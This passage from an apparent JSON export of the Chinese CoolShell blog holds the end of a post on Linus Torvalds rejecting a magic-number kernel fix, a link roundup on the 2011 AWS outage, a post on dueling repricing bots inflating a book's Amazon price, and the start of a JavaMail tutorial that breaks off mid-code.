Yinghai，我们以前谈过这个事，该死的，你真的需要明白“理解一个错误”和“设一个随意的值直到其正常工作”的区别。\n> \n> \n> There was absolutely \\_zero\\_ analysis done. You do not actually understand WHY the numbers matter. You just look at two random numbers, and one works, the other does not. That’s not “analyzing”. That’s just “random number games”.\n> \n> \n> 这里就根本没有分析。你没有直正的明白**为什么**这些数字能行。你只看了两个随机的数，一个能行，另一个不行。这不是“分析”，这叫“随机数游戏”。\n> \n> \n> If you cannot see and understand the difference between an actual analytical solution where you \\_understand\\_ what the code is doing and  why, and “random numbers that happen to work on one machine”, I don’t know what to tell you.\n> \n> \n> 一个解决方案真正经过分析了那段代码干什么的为什么的，另一个是“随机数字可以让其在一台机器上运转”，如果你不能看到和理解他们之间的不同，那我不知道要和你说什么了。\n> \n> \n\n\n然后，Linus Torvalds进行了谆谆教导——（相当的受用啊）\n\n\n\n> Let me repeat my point one more time.\n> \n> \n> 让我再一次重复一下我的观点\n> \n> \n> You have TWO choices. Not more, not less:\n> \n> \n> 你有两个选择，不多也不少：\n> \n> \n> – choice #1: go back to the old allocation model. It’s tested. It doesn’t regress. Admittedly we may not know exactly \\_why\\_ it works, and it might not work on all machines, but it doesn’t cause regressions (ie the machines it doesn’t work on it \\_never\\_ worked on).\n> \n> \n> – **选择一**：回滚到老的分配模式。那是测试过的。它过了回归测试。诚然，我们也许不知道**为什么**那样能行，并且，即使是那样也不一定能在所有的机器上工作，但是其没有让回归测试有问题（这个代码**永不可能**在不能运行的系统上运行）\n> \n> \n> And this doesn’t mean “old value for that \\_one\\_ machine”. It means “old value for \\_every\\_ machine”. So it means we revert the whole bottom-down thing entirely. Not just “change one random number so that the totally different allocation pattern happens to give the same result on one particular machine”.\n> \n> \n> 这并不代表“老的值只能在一台机器上工作”。这代表“老的值可以工作在每一台机器上”。所以，我们需要回滚整个代码改动。而不只是“为了一个特别的机器去修改一个和以前完全不一样的随机数”。\n> \n> \n> – Choice #2: understand exactly \\_what\\_ goes wrong, and fix it analytically (ie by \\_understanding\\_ the problem, and being able to solve it exactly, and in a way you can argue about without having to resort to “magic happens”).\n> \n> \n> – 选择二：真正搞清楚为什么会错，并且有分析地修改他（理解问题才能真正解决之，并且，只有没有“魔法发生”的时候你才可以来争论）\n> \n> \n> Now, the whole analytic approach (aka “computer sciency” approach), where you can actually think about the problem without having any pesky “reality” impact the solution is obviously the one we tend to prefer. Sadly, it’s seldom the one we can use in reality when it comes to things like resource allocation, since we end up starting off with often buggy approximations of what the actual hardware is all about (ie broken firmware tables).\n> \n> \n> 现在，整个分析方法（亦称作“计算机科学”的方法）应该是你可以在没有在外界干扰下真正思考这个问题而得到的解决方案，这很明显是我们推崇的。只有在极罕见地情况下我们可以在有外界干扰下分析这种资源分配的事，因为我们只有了解倒底是什么样的硬件，我们才能最终远离bug（如：错误的固件表）\n> \n> \n> So I’d love to know exactly why one random number works, and why another one doesn’t. But as long as we do \\_not\\_ know the “Why” of it, we will have to revert.\n> \n> \n> 所以，我希望你能知道为什么一个随机数能行，而另一个不行。只要我们不知道，那么我们就不得和回滚整个改动。\n> \n> \n> It really is that simple. It’s \\_always\\_ that simple.\n> \n> \n> 这真的是很简单，而且这**一直**是那么简单。\n> \n> \n> So the numbers shouldn’t be “magic”, they should have real explanations. And in the absense of real explanation, the model that works is “this is what we’ve always done”. Including, very much, the whole allocation order. Not just one random number on one random machine.\n> \n> \n> 所以，那些数不应该是“magic”的，他们应该有真正的说明。在有真正的说明的情况下，我们的开发模式才会工作。其包括了整个分配顺序。不只是那个在任意机器上的随机数。\n> \n> \n> Linus\n> \n> \n> \n\n\n后面的事不用说了。我没有想到Linux 内核组会有像Yinghai这样工作的方式，毕竟这是一个黑客级的开发团队。我个人对这个乱写代码的人执零容忍的态度，不管你干过什么，不管你哪里毕业的，不管你简历怎么样，不求甚解随意写代码的人我无法接受。我不知道Yinghai Lu会怎么样想，他/她会像我在“[程序员那些悲催的事儿](https://coolshell.cn/articles/3980.html \"程序员那些悲催的事儿\")”中谈我经历那样知耻而后勇吗？能得到Linus的教导真是一件很不错的事。虽然，Linus教导的这些东西，都应该是程序员最最最基本的技能。**fix bug一定要fix在root cause上啊**，**了解一个问题，不但要知其然，还要知其所以然啊**，这都是老生长谈了。本站有很多提高程序员能力的文章，比如，[这篇](https://coolshell.cn/articles/222.html \"优秀程序员的十个习惯\")，[这篇](https://coolshell.cn/articles/1007.html \"优质代码的十诫\")，还有[这篇](https://coolshell.cn/articles/2606.html \"五个方法成为更好的程序员\")。\n\n\n各位朋友，我真心希望你能从这个小插曲中明白点什么。\n\n\n**—– 更新2011/04/27**—–\n\n\n从本贴的回复中可以看到有朋友说如果时间紧，没有办法只能在不求甚解的地去fix bug，因为老板催。我认为这是老板的“急功近利”的问题。我想和大家说一下，你得想清楚你属于下面那种人：\n\n\n1. 你的老板给你压力，让你不得不乱fix，\n2. 你认同只要时间紧bug是可以乱fix的。\n\n\n如果你属于1），那我觉得还情由可原，这是管理问题。但这不能成为你对乱fix bug的理由。一般这种问题怎么解决：**首先，给一个hot fix去救火，然后，有时间去调查root cause，最后经过分析和测试，给出一个final 的 offical fix**。这就是应急的做法，根本不存在什么可以乱fix bug的做法。\n\n\n如果你属于2），那么我只能“过激”地说你没有成为程序员的资质！\n\n\n另外，**快速地fix bug，并不等于，不求甚解的fix bug**。大家不要把这两件事等同。\n\n\n \n\n\n**（请勿用于商业用途，转载时请注明作者和出处）**\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\nThe post [Linux 2.6.39-rc3的一个插曲](https://coolshell.cn/articles/4576.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-27 关于Amazon云宕机的网贴收集.md",
    "content": "---\nlayout: post\ntitle: 关于Amazon云宕机的网贴收集\ndate: 2011/4/27/ 14:49:7\nupdated: 2011/4/27/ 14:49:7\nstatus: publish\npublished: true\ntype: post\n---\n\n最近，互联网上最大的事可能是Amazon的AWS宕机了，而且好几天都没有完全恢复。整个Internet都在讨论这个事，Internet很不高兴，后果可能很严重。可能是因为这个事件对中国没有影响，所以中文这边相关的文章不多，大家可以参考一下和讯网的这篇《[伤不起！亚马逊史前最大宕机事件的启示](http://tech.hexun.com/2011-04-24/128998619.html)》。\n\n\n国外有人把所有和这个事件相关的贴子都收集了起来，都是一些相当不错的贴子和文章，尤其是一些经验教训的贴子，很受教，转给大家看看。这个贴子的[来源在这里](http://highscalability.com/blog/2011/4/25/the-big-list-of-articles-on-the-amazon-outage.html)。\n\n\n#### 个别公司的经历，有好有坏\n\n\n* [How Heroku Survived the Amazon Outage](http://status.heroku.com/incident/151) on the Heroku status page\n* [How SimpleGeo Stayed Up During the AWS Downtime](http://developers.simplegeo.com/blog/2011/04/26/how-simplegeo-stayed-up/) by Mike Malone\n* [How SmugMug survived the Amazonpocalypse](http://don.blogs.smugmug.com/2011/04/24/how-smugmug-survived-the-amazonpocalypse) by Don MacAskill  ([Hacker News](http://news.ycombinator.com/item?id=2480763) discussion)\n* [How Bizo survived the Great AWS Outage of 2011 relatively unscathed…](http://dev.bizo.com/2011/04/how-bizo-survived-great-aws-outage-of.html) by Someone at Bizo\n* [Joe Stump’s explanation](http://www.focus.com/questions/information-technology/amazon-ec2-has-gone-down--what-would-prefered-hosting-be/#comment43192) of how SimpleGeo survived\n* [How Netflix Survived the Outage](http://www.slideshare.net/adrianco/netflix-in-the-cloud-2011)\n* [Why Twilio Wasn’t Affected by Today’s AWS Issues](http://www.twilio.com/engineering/2011/04/22/why-twilio-wasnt-affected-by-todays-aws-issues/) on Twilio Engineering’s Blog ([Hacker News](http://news.ycombinator.com/item?id=2472999) thread)\n* [On reddit’s outage](http://www.reddit.com/r/announcements/comments/gva4t/on_reddits_outage/#)\n* [What caused the Quora problems/outage in April 2011?](http://www.quora.com/Quora-Outage-April-21-22-2011/What-caused-the-Quora-problems-outage-in-April-2011)\n* [Recovering from Amazon cloud outage](http://tomatohater.com/2011/04/21/recovering-amazon-cloud-outage/) by Drew Engelson of PBS.\n\t+ PBS was affected for a while primarily because we do use EBS-backed RDS databases. Despite being spread across multiple availability-zones, we weren’t easily able to launch new resources ANYWHERE in the East region since everyone else was trying to do the same. I ended up pushing the RDS stuff out West for the time being.  [From Comment](http://don.blogs.smugmug.com/2011/04/24/how-smugmug-survived-the-amazonpocalypse/#comment-4737)\n\n\n\n#### Amazon Web Services 讨论区\n\n\n有一些有经验的人共享了很多相当不错的宕机的经历。\n\n\n* [Amazon Web Services Discussion Forum](https://forums.aws.amazon.com/forum.jspa?forumID=30&start=0)\n* [Cost-effective backup plan from now on?](https://forums.aws.amazon.com/thread.jspa?threadID=65860&tstart=0)\n* [Life of our patients is at stake – I am desperately asking you to contact](https://forums.aws.amazon.com/thread.jspa?threadID=65649&tstart=0)\n* [Why did the EBS, RDS, Cloudformation, Cloudwatch and Beanstalk all fail?](https://forums.aws.amazon.com/thread.jspa?threadID=65897&tstart=0)\n* [Moved all resources off of AWS](https://forums.aws.amazon.com/thread.jspa?threadID=65896&tstart=0)\n* [Any success stories?](https://forums.aws.amazon.com/forum.jspa?forumID=30&start=300)\n* [Is the mass exodus from East going to cause demand problems in the West?](https://forums.aws.amazon.com/thread.jspa?threadID=65784&tstart=25)\n* [Finally back online after about 71 hours](https://forums.aws.amazon.com/thread.jspa?threadID=65828&tstart=25)\n* [Amazon EC2 features vs windows azure](https://forums.aws.amazon.com/thread.jspa?threadID=65834&tstart=25)\n* [Aren’t Availability Zones supposed to be “insulated from failures”?](https://forums.aws.amazon.com/thread.jspa?threadID=65221&tstart=25)\n* [What a lot of people aren’t realizing about the downtime:](https://forums.aws.amazon.com/thread.jspa?threadID=65850&tstart=0)\n* [ELB CNAME](https://forums.aws.amazon.com/thread.jspa?threadID=32044&tstart=50&start=150)\n* [Availability Zones were used in a misleading manner](https://forums.aws.amazon.com/thread.jspa?threadID=65457&tstart=425)\n* [Tip: How to recover your instance](https://forums.aws.amazon.com/thread.jspa?threadID=65371&tstart=325)\n* [Crying in Forum Gets Results, Silver-level AWS Premium Support Doesn’t](https://forums.aws.amazon.com/thread.jspa?threadID=65617&tstart=325)\n* [Well-worth reading: “design for failure” cloud deployment strategy](https://forums.aws.amazon.com/thread.jspa?threadID=65780&tstart=25)\n* [New best practice](https://forums.aws.amazon.com/thread.jspa?threadID=65749&tstart=25)\n* [Don’t bother with Premium Support](https://forums.aws.amazon.com/thread.jspa?threadID=65136&tstart=475)\n* [Best practices for multi-region redundancy](https://forums.aws.amazon.com/thread.jspa?threadID=65185&tstart=450)\n* “[Postmortum](https://forums.aws.amazon.com/thread.jspa?threadID=65450&tstart=175)“\n* [Learning from this case](https://forums.aws.amazon.com/thread.jspa?threadID=65513&tstart=125)\n* [Amazon, still no instructions what to do?](https://forums.aws.amazon.com/thread.jspa?threadID=65388&tstart=525)\n* [Anyone else prepared for an all-nighter?](https://forums.aws.amazon.com/thread.jspa?threadID=65338&tstart=550)\n* [Is Jeff Bezos going to give a public statement?](https://forums.aws.amazon.com/thread.jspa?threadID=65811&tstart=100)\n* [Rackspace, GoGrid, StormonDemand and Others](https://forums.aws.amazon.com/thread.jspa?threadID=65857&tstart=100)\n* [Jeff Barr, Werner Vogels and other AWS persons – where have you been???](https://forums.aws.amazon.com/thread.jspa?threadID=65815&tstart=150)\n* [After you guys fix EBS do I have do anything on my side?](https://forums.aws.amazon.com/thread.jspa?threadID=65168&tstart=175)\n* [Need Help!!! Lives of people and billions in revenue are at risk now!!!](https://forums.aws.amazon.com/thread.jspa?threadID=65765&tstart=225)\n* [I’ve Got A Suspicion](https://forums.aws.amazon.com/thread.jspa?threadID=65678&tstart=275)\n* [Farewell EC2, Farewell](https://forums.aws.amazon.com/thread.jspa?threadID=65585&tstart=325)\n\n\nThere were also many many instances of support and help in the log.\n\n\n#### 总结\n\n\n* [Amazon EC2 outage: summary and lessons learned](http://blog.rightscale.com/2011/04/25/amazon-ec2-outage-summary-and-lessons-learned/) by RightScale\n* [AWS outage timeline & downtimes by recovery strategy](http://www.randomhacks.net/articles/2011/04/25/aws-outage-timeline-and-recovery-strategy-downtimes) by Eric Kidd\n* [The Aftermath of Amazon’s Cloud Outage](http://www.datacenterknowledge.com/archives/2011/04/25/the-aftermath-of-amazons-cloud-outage) by Rich Miller\n\n\n#### 立场：这是用户的错\n\n\n* [So Your AWS-based Application is Down? Don’t Blame Amazon](http://www.thestoragearchitect.com/2011/04/22/so-your-aws-based-application-is-down-dont-blame-amazon/) by The Storage Architect\n* [The Cloud is not a Silver Bullet](http://stu.mp/2011/04/the-cloud-is-not-a-silver-bullet.html) by Joe Stump ([Hacker News](http://news.ycombinator.com/item?id=2482581) thread)\n* [The AWS Outage: The Cloud’s Shining Moment](http://broadcast.oreilly.com/2011/04/the-aws-outage-the-clouds-shining-moment.html) by George Reese ([Hacker News](http://news.ycombinator.com/item?id=2477540) discussion)\n* [Failing to Plan is Planning to Fail](http://blog.acrowire.com/cloud-computing/failing-to-plan-is-planning-to-fail) by Ted Theodoropoulos\n* [Get a life and build redundancy/resiliency in your apps](http://groups.google.com/group/cloud-computing/browse_thread/thread/e8079a54e6a8c4b9/72756bf9e587869d?show_docid=72756bf9e587869d) on the Cloud Computing group\n\n\n#### 立场：这是Amazon的错\n\n\n* [Stop Blaming the Customers – the Fault is on Amazon Web Services](http://www.readwriteweb.com/cloud/2011/04/almost-as-galling-as-the.php) by Klint Finley\n* [AWS is down: Why the sky is falling](http://justinsb.posterous.com/aws-down-why-the-sky-is-falling) by Justin Santa Barbara  ([Hacker News](http://news.ycombinator.com/item?id=2471899) thread)\n* [Amazon Web Services are down](http://news.ycombinator.com/item?id=2469838) – Huge Hacker News thread\n\n\n#### 教训和启示\n\n\n* [People Using Amazon Cloud: Get Some Cheap Insurance At Least](http://smoothspan.wordpress.com/2011/04/23/people-using-amazon-cloud-get-some-cheap-insurance-at-least/) by Bob Warfield\n* [Basic scalability principles to avert downtime](http://ronaldbradford.com/blog/basic-scalability-principles-to-avert-downtime-2011-04-23) by Ronald Bradford\n* [Amazon crash reveals ‘cloud’ computing actually based on data centers](http://www.itworld.com/cloud-computing/158517/amazon-crash-reveals-cloud-computing-actually-based-data-centers) by Kevin Fogarty\n* [Seven lessons to learn from Amazon’s outage](http://www.zdnet.com/blog/saas/seven-lessons-to-learn-from-amazons-outage/1296) By Phil Wainewright\n* [The Cloud and Outages : Five Key Lessons](http://www.cloudsigma.com/en/blog/2011/04/23/21-cloud-outages-lessons-learned) by Patrick Baillie ([Cloud Computing Group](http://groups.google.com/group/cloud-computing/browse_thread/thread/6e9549afbff6386f/05919d8527c69a09?show_docid=05919d8527c69a09#) discussion)\n* [Some thoughts on outages](http://till.klampaeckel.de/blog/archives/151-Some-thoughts-on-outtages.html) by Till Klampaeckel\n* [Amazon.com’s real problem isn’t the outage, it’s the communication](http://www.geekwire.com/2011/amazoncoms-real-problem-outage-communication) by Keith Smith\n* [How to work around Amazon EC2 outages](http://webmonkeyuk.wordpress.com/2011/04/21/how-to-work-around-amazon-ec2-outages/) by James Cohen ([Hacker News](http://news.ycombinator.com/item?id=2471258) thread)\n* [Today’s EC2 / EBS Outage: Lessons learned](http://agilesysadmin.net/ec2-outage-lessons) on Agile Sysadmin\n* [Amazon EC2 has gone down -what would a prefered hosting platform be?](http://www.focus.com/questions/information-technology/amazon-ec2-has-gone-down--what-would-prefered-hosting-be/) on Focus\n* [Single Points of Failure](http://cloudability.com/single-points-of-failure) by Mat\n* [Coping with Cloud Downtime with Puppet](http://www.reddit.com/r/programming/comments/gvac7/coping_with_cloud_downtime_with_puppet/)\n* [Amazon Outage Concerns Are Overblown](http://timcrawford.org/2011/04/21/amazon-outage-concerns-are-overblown/) by Tim Crawford\n* [Where There Are Clouds, It Sometimes Rains](http://claylo.com/post/4817029650/where-there-are-clouds-it-sometimes-rains) by Clay Loveless\n* [Availability, redundancy, failover and data backups at LearnBoost](http://blog.learnboost.com/blog/availability-redundancy-and-failover-at-learnboost/)  by Guillermo Rauch\n* [Cloud hosting vs colocation](http://chrischandler.name/the-real-cost-of-cloud-hosting) by Chris Chandler ([Hacker News](http://news.ycombinator.com/item?id=2482123) thread)\n* [Amazon’s EC2 & EBS outage](http://arnon.me/2011/04/amazons-ec2-ebs-outage/) by Arnon Rotem-Gal-Oz\n\n\n#### Vendor很生气\n\n\n* [Amazon Outage Proves Value of Riak’s Vision](http://www.productionscale.com/home/2011/4/22/on-clouds-and-spofs-or-the-great-aws-outage-of-april-2011.html#axzz1KZPTwX4z) by Basho\n* [Magical Block Store: When Abstractions Fail Us](http://joyeur.com/2011/04/24/magical-block-store-when-abstractions-fail-us/) by Mark Joyent ([Hacker News](http://news.ycombinator.com/item?id=2479613) discussion)\n* [On Cascading Failures and Amazon’s Elastic Block Store](http://joyeur.com/2011/04/22/on-cascading-failures-and-amazons-elastic-block-store/) by Jason\n* [An unofficial EC2 outage postmortem – the sky is not falling](http://cloudharmony.com/b/2011/04/unofficial-ec2-outage-postmortem-sky-is.html) from CloudHarmony\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![是微服务架构不香还是云不香？](../wp-content/uploads/2023/05/monolith.microservices-150x150.png)](https://coolshell.cn/articles/22422.html)[是微服务架构不香还是云不香？](https://coolshell.cn/articles/22422.html)\n* [![AWS 的 S3 故障回顾和思考](../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png)](https://coolshell.cn/articles/17737.html)[AWS 的 S3 故障回顾和思考](https://coolshell.cn/articles/17737.html)\n* [![三个事和三个问题](../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg)](https://coolshell.cn/articles/6142.html)[三个事和三个问题](https://coolshell.cn/articles/6142.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/5901.html)[腾讯，竞争力 和 用户体验](https://coolshell.cn/articles/5901.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\nThe post [关于Amazon云宕机的网贴收集](https://coolshell.cn/articles/4601.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-28 Amazon的书为什么卖到了$2000万.md",
    "content": "---\nlayout: post\ntitle: Amazon的书为什么卖到了$2000万\ndate: 2011/4/28/ 4:41:41\nupdated: 2011/4/28/ 4:41:41\nstatus: publish\npublished: true\ntype: post\n---\n\n最近，Amazon的新闻比较多，除了[Amazon的云平台宕机](https://coolshell.cn/articles/4601.html \"关于Amazon云宕机的网贴收集\")外，还有一个被热炒的新闻是在Amazon的书店里，有一本书要买$23,698,655.93美元，相当于1亿5千万人民币（如下图所示），这个事情是由UC Berkeley的生物学家Michael Eisen发现的，然后他在他的博客上写了[一篇文章来说明这个事情](http://www.michaeleisen.org/blog/?p=358 \"Amazon’s $23,698,655.93 book about flies\")。\n\n\n这本书是1992年，现在绝版了，生物学家决定上Amazon找一下，结果看到了有两本新书，还有一些二手的，二手书价比较正常，但是那两个新书的价都上了百万。这个生物学家还写了邮件给原作者和原作者开了玩笑。呵呵。\n\n\n![](../wp-content/uploads/2011/04/lawrence_1.png \"lawrence_1\")\n\n\n一般人可能就把这个事当成个笑话了，不过，教授就是教授，它还认真的研究了一下为什么会这样。\n\n\n\n首先，这个不是Amazon的订价的问题，这是Amazon的第三方商户平台两个商户报价，一个商户叫profnath，另一个商户叫bordeebook。我们的生物学教授观察这两个商户的书价了几天，看到了下面的结果：\n\n\n![](../wp-content/uploads/2011/04/lawrence_prices1.png \"lawrence_prices1\")\n\n\n从上面的表中，我们可以看到，profnath商户的价格总是bordeebook的99.83%，而bordeebook的总是比profnath的高27.059%，很明显，这两个商户用的是程序在自动定价——“自动竞价”。\n\n\n* profnath商户想把书买出去，所以，其订价要比最高价要低一些（99.83%），这个很容易理解。\n* bordeebook商户为什么要比最高价要高1.27倍呢？合理的解释是，bordeebook并没有这本书，这个商户只是想用更多的选品来吸引买家，这样可以让人觉得他和竞争对手有一样多的选品。所以，他要把价订得高一点，这样就算是被人下单，他可以从别人手里把书买过来，然后再卖给卖家。27%的空间，够他赚了。\n\n\n因为两个商户订的比例不一样，所以，这两个商户的自动订价系统就成了相互涨价的程序——profnath以差0.17%差价跟上，而bordeebook以27%的幅度甩开，profnth再跟上，bordeebook再甩开……。于是最后的价格就到了$23,698,655.93美金。呵呵。\n\n\n下面，我说说我的收获——\n\n\n* **能力**：我非常欣赏这位生物学教授的求甚解的态度，这和[Linus要求其团队成员的能力](https://coolshell.cn/articles/4576.html \"Linux 2.6.39-rc3的一个插曲\")如出一辙。赞一个！\n* **商业**：从这两个商户的行为看到了一种相反的商业技巧。profnath 和 bordeebook  都是聪明的商家。\n* **电商**：自动定价系统可能会成为未来电子商务的一个重要的方向。电子商务还有很多东西可以做啊。\n* **程序**：程序设计中需要加上边界条件，最高值和最低值（当然，我能理解为什么这两个商户没有回，因为不同的商品价格差得太大，也许他们也在卖一些几百万的商品）。\n\n\n最后，这本书的网址在这里《[The Making of a Fly: The Genetics of Animal Design](http://www.amazon.com/gp/offer-listing/0632030488/ref=dp_olp_0?ie=UTF8&redirect=true&qid=1303712892&sr=8-1&condition=all)》，你可以看到价格又在攀升了，昨天我看的是200多美，我写这篇文章此时的价格是近1000美金了。呵呵。\n\n\n（全文完）\n\n\n**（请勿用于商业用途，转载时请注明作者和出处）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![由12306.cn谈谈网站性能技术 ](../wp-content/uploads/2012/01/12306-150x150.png)](https://coolshell.cn/articles/6470.html)[由12306.cn谈谈网站性能技术](https://coolshell.cn/articles/6470.html)\n* [![三个事和三个问题](../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg)](https://coolshell.cn/articles/6142.html)[三个事和三个问题](https://coolshell.cn/articles/6142.html)\nThe post [Amazon的书为什么卖到了$2000万](https://coolshell.cn/articles/4605.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-6 JavaMail使用.md",
    "content": "---\nlayout: post\ntitle: JavaMail使用\ndate: 2011/4/6/ 15:5:39\nupdated: 2011/4/6/ 15:5:39\nstatus: publish\npublished: true\ntype: post\n---\n\n（**本文由网友jjzhx\\_1211投递，感谢!**）\n\n\n使用JavaMail需要两个包：activation-1.1.jar和mail-1.4.2.jar（当然现在最新的版本已经不止了），也可以直接包含Java SE 6的j2ee.jar，自带了前面的两个包。我把邮件功能写成了一个服务，发送邮件的数据都通过Map<String, String>类型的参数封装了起来。**代码见文章最后**。\n\n\n#### Session\n\n\nSession 定义了一个基本的邮件会话，任何工作都是基于这个Session的。Session 对象需要一个 java.util.Properties 对象来得到类似 邮件服务器，用户名，密码这样的信息。Session 的构造函数是私有的，可以通过 getDefaultInstance() 方法来取得一个单一的可以被共享的默认session 如：\n\n\n\n```\nProperties props = new Properties();\nSession session = Session.getDefaultInstance(props,null);\n```\n\n或者，可以使用 getInstance() 方法来创建一个唯一的 session如：\n\n\n\n```\nProperties props = new Properties();\nSession session = Session.getInstance(props,null);\n```\n\n在这两种方法中 其中的 null 参数是一个 Authenticator 对象，在这里没有被使用的，所以就是null。在大多数案例中，使用一个共享session 已经做够了。\n\n\n\n#### Message\n\n\n一旦你创建了Session对象，那么下面要做的就是创建message来发送。Message是一个抽象类，在大部分应用中你可以使用它的子类javax.mail.internet.MimeMessage 。MimeMessage 是一个理解在不同RFCs中定义的MIME类型以及headers的e-mail message。Message headers 必须使用 US-ASCII 字符集。可以用如下的方法创建一个Message\n\n\n`MimeMessage message = new MimeMessage(session);`\n\n\n我们注意到，这里需要用session对象作为构造函数的参数。当然，还有其它的构造函数，比如从用RFC822格式化过的输入流来创建message。\n\n\n一旦你得到了 message ,你就可以来设置它的各个部分（parts）。设置内容（content）的基本的机制是使用setContent() 方法。\n\n\n`message.setContent(\"Email Content. \",\"text/plain\");`\n\n\n如果，你能够明确你的使用MimeMessage来创建message 并且只是使用普通的文本（plain text） 那么你也可以使用 setText() 方法，setTest()方法只需要设置具体的内容，它默认的MIME类型是 text/plain\n\n\n`message.setText(\"Email Content. \");`\n\n\n对于普通文本类型的邮件，有一种机制是首选（ message.setText(“Email Content. “)）的设置内容的方法。如果要创建其它类型的message ，比如　HTML类型的message   那么还是需要使用前者　（　message.setContent(“Email Content. “,”text/html”);　）  \n\n设置主题（subject ），使用setSubject() 方法\n\n\n`message.setSubject(\" Subject \");`\n\n\n#### Address\n\n\n当你已经创建Session 以及 Message，并且已经为message 填充了内容，那么接下来要做的就是给你的邮件添加一个地址（Address）。　就像Message一样，Address也是一个抽象类，我们可以使用它的一个子\n\n\njavax.mail.internet.InternetAddress\n\n\n创建一个地址非常简单\n\n\n`Address address = new InternetAddress(\"<a href=\"mailto:suixin@asiainfo.com\">suixin@asiainfo.com</a>\");`\n\n\n如果，你希望在出现邮件地址的地方出现一个名称，那么你只需要再多传递一个参数。\n\n\n`Address address = new InternetAddress(\"<a href=\"mailto:suixin@asiainfo.com&quot;,&quot;Steve\">suixin@asiainfo.com\",\"Steve</a>\");`\n\n\n你需要为 message 的from以及 to 字段创建address对象。为了识别发送者，你需要使用setFrom() 和 setReplyTo() 方法。\n\n\n`messge.setFrom(address);`\n\n\n如果你的message 需要显示多个 from 地址，可以使用 addFrom() 方法\n\n\n\n```\nAddress address[] = {....};\nmessage.addFrom(address);\n```\n\n为了辨识message 的收件人，你需要使用 setRecipient() 方法。这个方法除了address参数之外，还需要一\n\n\nMessage.RecipientType 。  \n\nmessage.addRecipient(type,address);  \n\nMessage.RecipientType有几个预先定义好的类型  \n\nMessage.RecipientType.TO　　收件人  \n\nMessage.RecipientType.CC　　抄送  \n\nMessage.RecipientType.BCC　 暗送\n\n\n如果你的一封邮件，需要发送给你的老师，并还要给你的几个同学，那么你可以这样\n\n\n\n```\nAddress toAddress = new InternetAddress(\"<a href=\"mailto:teacher@17288.com\">teacher@17288.com</a>\");\nAddress[] ccAddress = {new InternetAddress(\"<a href=\"mailto:schoolmate1@17288.com&quot;),new\">schoolmate1@17288.com\"),new</a> InternetAddress(\"<a href=\"mailto:schoolmate2@17288.com\">schoolmate2@17288.com</a>\")};\nmessage.addRecipient(Message.RecipientType.To, toAddress);\nmessage.addRecipient(Message.RecipientType.CC, ccAddress);\n```\n\nJavaMail 没有提供电子邮件地址有效性的检测。这些超越了JavaMail API的范围。\n\n\n#### Authenticator\n\n\n通过Authenticator设置用户名、密码，来访问受保护的资源，这里的资源一般指的是邮件服务器。\n\n\nAuthenticator也是一个抽象类，你需要自己编写子类已备应用。你需要实现getPasswordAuthentication()方法，并返回一个PasswordAuthentication实例。你必须在 session被创建时， 注册你的 Authenticator。这样，当需要进行认证是，你的Authenticator就可以被得到。\n\n\n\n```\nProperties props = new Properties();\n//设置属性\nAuthenticator auth = new YourAuthenticator();\nSession 